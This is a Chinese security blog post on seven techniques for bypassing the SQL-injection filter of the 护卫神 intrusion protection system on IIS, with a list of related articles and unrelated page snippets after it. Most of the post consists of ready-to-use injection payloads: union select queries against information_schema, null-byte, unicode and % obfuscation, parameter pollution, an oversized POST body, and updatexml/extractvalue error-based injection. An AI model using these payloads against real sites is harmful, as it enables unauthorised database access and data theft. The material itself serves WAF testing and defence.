0x00 前言

​   护卫神一直专注服务器安全领域, 其中有一款产品,护卫神·入侵防护系统 ,提供了一些网站安全防护的功能,在IIS加固模块中有一个SQL防注入功能。

这边主要分享一下几种思路,Bypass 护卫神SQL注入防御。

0x01 环境搭建

护卫神官网:http://www.huweishen.com

软件版本:护卫神·入侵防护系统 V3.8.1 最新版本

下载地址:http://down.huweishen.com/hws.zip

测试环境:IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL

0x02 WAF测试

​ 护卫神SQL防注入的规则几年了基本都没有什么变化,先来一张拦截测试图:

姿势一:%00截断

%00截断是上传漏洞中常用的一个非常经典的姿势,在SQL注入中,也可以用来Bypass。

在WAF层,接收参数id后,遇到%00截断,只获取到 id=1,无法获取到后面的有害参数输入;

在ASPX+MSSQL中,支持%00来代替空白字符,构造的SQL语句得以成功执行,获取数据。

http://192.168.204.132/sql.aspx?id=1%00and 1=2 union select 1,2,column_name from information_schema.columns

在PHP+Mysql中,可以用/*%00*/,同样可以进行Bypass。

/sql.php?id=1/*%00*/union select 1,schema_name,3 from information_schema.schemata

姿势二:GET+POST

当同时提交GET、POST请求时,进入POST逻辑,而忽略了GET请求的有害参数输入,可轻易Bypass。

在IIS+ASP/ASPX+MSSQL IIS+PHP+MySQL 均适用。

http://192.168.204.132/sql.aspx?id=1 and 1=2 union select 1,column_name,3 from information_schema.columns

POST:aaa

姿势三:unicode编码

IIS服务器支持对于unicode的解析,对关键词进行unicode编码绕过。

http://192.168.204.132/sql.aspx?id=1 and 1=2 union s%u0045lect 1,2,column_name from information_schema.columns

姿势四:ASPX+HPP

在ASPX中,有一个比较特殊的HPP特性,当GET/POST/COOKIE同时提交的参数id,服务端接收参数id的顺序GET,POST,COOKIE,中间通过逗号链接 。

UNION、SELECT、两个关键字拆分放在GET/POST的位置,通过ASPX的这个特性连起来,姿势利用有点局限,分享一下Bypass思路。

http://192.168.204.132/sql.aspx?id=1 and 1=2 union/*POST:id=*/select 1,column_name,3 from information_schema.columns

姿势五:ASP %特性

在IIS+ASP中,当我们输入un%ion,解析的时候会去掉%号,服务端接收的参数是union。

http://192.168.204.132/sql.asp?id=1 and 1=2 un%ion select 1,2,column_name from information_schema.columns

姿势六:缓冲区溢出

在PHP+Mysql中,使用POST 大包溢出的思路可成功Bypass。

http://192.168.204.132/sql.php

POST:id=1 and (select 1)=(Select 0xA*49099) union select 1,schema_name,3 from information_schema.SCHEMATA

编写一个简单的Python脚本,当A的个数填充到49099时,可成功Bypass。

姿势七:黑名单绕过

护士神SQL防注入,采用的是黑名单过滤,关键字并不全,比如只过滤union select,select from却放过了,那么这里就存在很多种绕过的形式。

基本上报错注入、盲注、延迟注入都可以很轻易Bypass,这时候直接利用SQLMAP,指定注入方式来获取数据。

?id=1 or (select 1 from (select count(),concat((concat(0x5e5e21,@@version,0x215e5e)),floor(rand(0)2))x from information_schema.tables group by x)a)

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))

?id=1 and extractvalue(1, concat(0x5c, (select VERSION() from information_schema.tables limit 1)))

0x03 END

​ 总结了几种IIS下SQL注入 Bypass的思路,在实战中也很常见。

本文由Bypass原创发布,原文链接:https://www.cnblogs.com/xiaozi/p/9138160.html  欢迎分享本文,转载请保留出处。

​ 关于我:一个网络安全爱好者,致力于分享原创高质量干货,欢迎关注我的个人微信公众号:Bypass--,浏览更多精彩文章。

Bypass 护卫神SQL注入防御(多姿势)的更多相关文章

  1. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ​ ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+ ...

  2. Bypass 360主机卫士SQL注入防御(多姿势)

    0x00 前言 在服务器客户端领域,曾经出现过一款360主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影.从半年前的测试虚拟机里面,翻出了360主机卫士Apache版 ...

  3. Bypass X-WAF SQL注入防御(多姿势)

    0x00 前言 ​ X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. ​ 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. ...

  4. Bypass D盾_IIS防火墙SQL注入防御(多姿势)

    0X01 前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防御策略 ...

  5. 23. Bypass ngx_lua_waf SQL注入防御(多姿势)

    0x00 前言 ngx_lua_waf是一款基于ngx_lua的web应用防火墙,使用简单,高性能.轻量级.默认防御规则在wafconf目录中,摘录几条核心的SQL注入防御规则: select.+(f ...

  6. 22. Bypass X-WAF SQL注入防御(多姿势)

    0x00 前言 X-WAF是一款适用中.小企业的云WAF系统,让中.小企业也可以非常方便地拥有自己的免费云WAF. 本文从代码出发,一步步理解WAF的工作原理,多姿势进行WAF Bypass. 0x0 ...

  7. 21. Bypass D盾_防火墙(旧版 and 新版)SQL注入防御(多姿势)

    D盾旧版: 00前言 D盾_IIS防火墙,目前只支持Win2003服务器,前阵子看见官方博客说D盾新版将近期推出,相信功能会更强大,这边分享一下之前的SQL注入防御的测试情况.D盾_IIS防火墙注入防 ...

  8. 15. Bypass 360主机卫士SQL注入防御(多姿势)

    在服务器客户端领域,曾经出现过一款 360 主机卫士,目前已停止更新和维护,官网都打不开了,但服务器中依然经常可以看到它的身影. 从半年前的测试虚拟机里面,翻出了 360 主机卫士 Apache 版的 ...

  9. 网站SQL注入防御实战

    SQL注入作为直接威胁web业务的最严重攻击行为,已经被大多数的网站管理员所了解,这种通过HTTP标准端口,利用网页编码不严谨,提交精心构造的代码实现对数据库非授权访问的攻击方法,已经被越来越多的sc ...

随机推荐

  1. Gearman的使用

    对于分布式网络环境或者有大量任务的应用,我们需要将任务在不同的服务器之间进行分布,这个时候正好是Gearman发挥实力的时候.虽然我们也可以使用MQ队列再加一些自己实现的调度算法来将任务进行分发,但是 ...

  2. javascript显示年月日时间代码

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/ ...

  3. android选取系统相册图片后,识别图中二维码

    项目中添加设备操作需要扫描二维码,考虑到多种扫码方式,也添加直接识别二维码图片的操作. 首先跳转系统相册选取图片 Intent intent = new Intent(Intent.ACTION_PI ...

  4. “System Volume Information”文件夹里的NTFS木马(安全问题)

    病毒保护伞 原因:由于NTFS的分区里该目录只有SYSTEM权限,导致杀毒软件没有权限查杀藏匿于该目录的病毒.(现在大多数软件都能查杀) 解决方案:阻止“System Volume Informati ...

  5. SpagoBI 教程 Lesson 3: Highchart Dashboards

    SpagoBI Lesson 3: Highchart Dashboards Business Intelligence dashboards Every car comes with a dash ...

  6. K-SVD算法

    它与K-mean算法原理上是类似的: K-mean 算法: (之前写过:http://www.cnblogs.com/yinheyi/p/6132362.html) 对于初始化的类别中心,可以看作初化 ...

  7. CodeCombat地牢关卡Python代码

    最近迷上了玩CodeCombat,特将地牢关卡的Python代码整理如下,供有兴趣的人学习交流探讨 1,Kithgard地牢 hero.moveRight() hero.moveDown() hero ...

  8. Spring JDBC调用存储过程

    以下示例将演示spring jdbc如何调用存储过程.将通过调用存储过程来读取Student表中的一个可用记录.将传递一个学生ID并获取学生记录信息. 语法: SimpleJdbcCall jdbcC ...

  9. [mysql] linux下使用yum安装mysql

    From: http://www.2cto.com/database/201207/141878.html linux下使用yum安装mysql   1.安装 查看有没有安装过:           ...

  10. Java多线程——线程范围内共享变量和ThreadLocal

    多个线程访问共享对象和数据的方式 1.如果每个线程执行的代码相同,可以使用同一个Runnable对象,这个Runnable对象中有那个共享数据,例如,买票系统就可以这么做. package java_ ...